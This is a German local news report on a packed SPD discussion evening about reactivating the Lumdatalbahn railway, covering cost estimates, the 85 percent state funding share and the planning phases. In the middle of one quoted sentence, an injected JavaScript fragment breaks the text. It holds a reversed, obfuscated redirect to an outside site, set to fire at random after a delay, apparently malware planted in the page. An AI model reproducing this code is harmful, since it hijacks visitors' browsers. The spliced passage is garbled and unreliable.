Presseberichte

Lumdatalbahn: Das ist der aktuelle Stand

Wann ist klar, ob die Lumdatalbahn wieder fährt? Ein Diskussionsabend in Allendorf drehte sich am Montag um das umstrittene Projekt. Landrätin Anita Schneider fürchtet ein knappes Ergebnis.

Dass die SPD-Kreistagsfraktion mit einer Diskussion zum Thema Lumdatalbahn einen Nerv getroffen hatte, wurde schnell deutlich: Brechend voll war der kleine Bürgerhaussaal in Allendorf/Lumda am Montagabend, reichlich Stühle und Tische wurden spontan noch dazu gestellt. Die Frage, wie der aktuelle Stand bei dem umstrittenen Projekt ist, bewegt viele – Befürworter wie Kritiker. Die Reaktivierungs-Anhänger waren teils mit bedruckten Shirts gekommen und verteilten Anstecker, einige Kritiker trugen die schwarzen Oberteile ihrer Bürgerinitiative.

Mit Spannung wurde erwartet, von welchen neuen Entwicklungen Landrätin Anita Schneider (SPD) berichten würde. Zurzeit, sagte Schneider, werde aufgrund eines Kreistagsbeschlusses von einem privaten Büro eine Vorplanung mit Kostenschätzung ermittelt. „Es war schwierig, ein Büro dafür zu finden“, erklärte sie, doch im zweiten Anlauf sei die Ausschreibung des RMV (Rhein-Main-Verkehrsverbund) und des ZOV (Zweckverband Oberhessische Versorgungsbetriebe) erfolgreich gewesen. „Seit circa zwei Monaten ist man an der Planung dran“, mit einem Ergebnis sei frühestens Ende dieses Jahres zu rechnen.

Lumdatalbahn: Landrätin stellt sich auf Kostensteigerung ein

Dann wird die große Frage sein, ob das Büro eine Reaktivierung zum veranschlagten Preis (Investitionskosten von rund elf Millionen Euro) für machbar hält. Die Landrätin und die Kreis-Koalition aus SPD, Freie Wähler und Grünen befürworten eine Wiederinbetriebnahme. Laut Beschluss auf Kreisebene kommt die Bahnstrecke nach der aktuellen Prüfung noch einmal auf die Tagesordnung im Kreistag. Zu welchem Schluss das beauftragte Büro kommen wird, darüber lässt sich zurzeit nur spekulieren. Die Einschätzung der Landrätin ließ allerdings aufhorchen: „Es wird eng, die Kosten werden steigen“, prognostizierte sie.

Auf Grundlage einer Nutzen-Kosten-Untersuchung hatte die Landesregierung empfohlen, in die Vorplanung für die Lumdatalbahn einzusteigen. Diese Analyse war nur knapp positiv ausgefallen – und Schneider fürchtet nun, dass eine nur geringe Steigerung der veranschlagten Kosten das Aus bedeuten könnte. Denn ohne die Übernahme von 85 Prozent der förderfähigen Kosten durch das Land sei eine Umsetzung nicht realistisch.

Daher, so Schneider, habe sie den hessischen Verkehrsminister Tarek Al-Wazir Ende September angeschrieben. „Wir vergleichen S-Bahnen in Frankfurt mit der Lumdatalbahn“, sagte Schneider. Doch mit solchen Projekten in Ballungsräumen sei eine Bahnstrecke im ländlichen Raum schlicht nicht vergleichbar, etwa im Hinblick auf Fahrgast-Zuwächse. Schon vor Jahren habe Al-Wazir andere, passgenauere Bewertungskriterien für „kleinere“ Vorhaben wie die Lumdatalbahn in Aussicht gestellt. Nun habe sie sich nach dem neuen Stand dieser Initiative erkundigt, die Zeit dränge. „Ich hoffe, dass ich eine Antwort bekomme. Wir müssen gewappnet sein, wenn es nicht klappt“, sagte Schneider.

Lumdatalbahn: Wie groß ist der volkswirtschaftliche Nutzen?

Stefan Klöppel, Leiter ZOV-Verkehr, schätzt die Lage etwas anders ein: Je früher solche neuen Bewertungskriterien in Kraft träten, destobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to besser sei es für das Projekt Lumdatalbahn. Allerdings werde es erst ernst, wenn es an die Schaffung neuen Baurechts gehe und Förderanträge gestellt werden müssen. Dies sei erst nach Phase 4 der Fall, momentan befinde man sich in Phase 2. „Die Lumdatalbahn hat momentan günstiges Fahrwasser“, sagte Klöppel auf Anfrage dieser Zeitung, aber am Ende müsse der volkswirtschaftliche Nutzen die Kosten übersteigen.

Aus dem Plenum kamen zahlreiche Fragen an die Landrätin. Welche Kosten würden auf die Anrainerkommunen (Lollar, Staufenberg, Allendorf und Rabenau) zukommen? Genau beziffern lässt sich das noch nicht, doch laut Schneider würden Kreis und Land für die Investitionen aufkommen, RMV und ZOV für den Betrieb. Direkt finanzieren müssten die Kommunen die Infrastruktur an den Bahnhaltepunkten, etwa Pkw- und Fahrradstellplätze. „Die Finanzierung ist eigentlich geregelt“, sagte Schneider, „aber wir brauchen die 85 Prozent vom Land.“ Am Anteil des Landkreises werde es nicht scheitern.

Lumdatalbahn: Viele Nachfragen

Viele Diskussionsteilnehmer bliesen ins gleiche Horn: Gerade vor dem Hintergrund der aktuellen Klimadebatte sei es an der Zeit, die Schiene wiederzubeleben und so den ländlichen Raum zu stärken. Die Attraktivität dürfte allerdings maßgeblich davon abhängen, ob die Anbindung an die Dörfer mit Zubringer-Bussen gut funktioniert. Und ob alle Kommunen mitziehen würden, wenn es ums Geld geht, scheint derzeit fraglich.

Wer auf Argumente der Lumdatalbahn-Gegner gehofft hatte, dürfte überrascht gewesen sein. Bis auf vereinzeltes Grummeln und Zwischenrufe blieben die Skeptiker am Montag weitgehend stumm. Eine Frage zielte darauf ab, ob ÖPNV-Alternativen für den Fall geprüft würden, dass die Reaktivierung scheitert. Die Alternative bestehe im Busverkehr, antwortete Schneider, und der sei im Lumdatal unzureichend: „Der Individualverkehr ist im Vergleich mit allen Kreiskommunen in Rabenau am höchsten, weil der ÖPNV dort keine Alternative ist.“

Zusatzinfo: Aufstehen gegen Antisemitismus

Bevor es um die Lumdatalbahn ging, gedachten die Gäste am Montagabend der Opfer des Terroranschlags in Halle. Ein Rechtsextremist hatte ein Massaker in der Synagoge anrichten wollen und zwei Menschen erschossen. Brigitte Heilmann, Ortsvereinsvorsitzende der SPD in Allendorf, forderte die Teilnehmer auf, sich für eine Schweigeminute zu erheben und damit ein Zeichen gegen Antisemitismus und Rechtsextremismus zu setzen. (jwr)

Quelle: https://www.giessener-allgemeine.de/kreis-giessen/allendorf-ort848754/lumdatalbahn-aktuelle-stand-13118352.html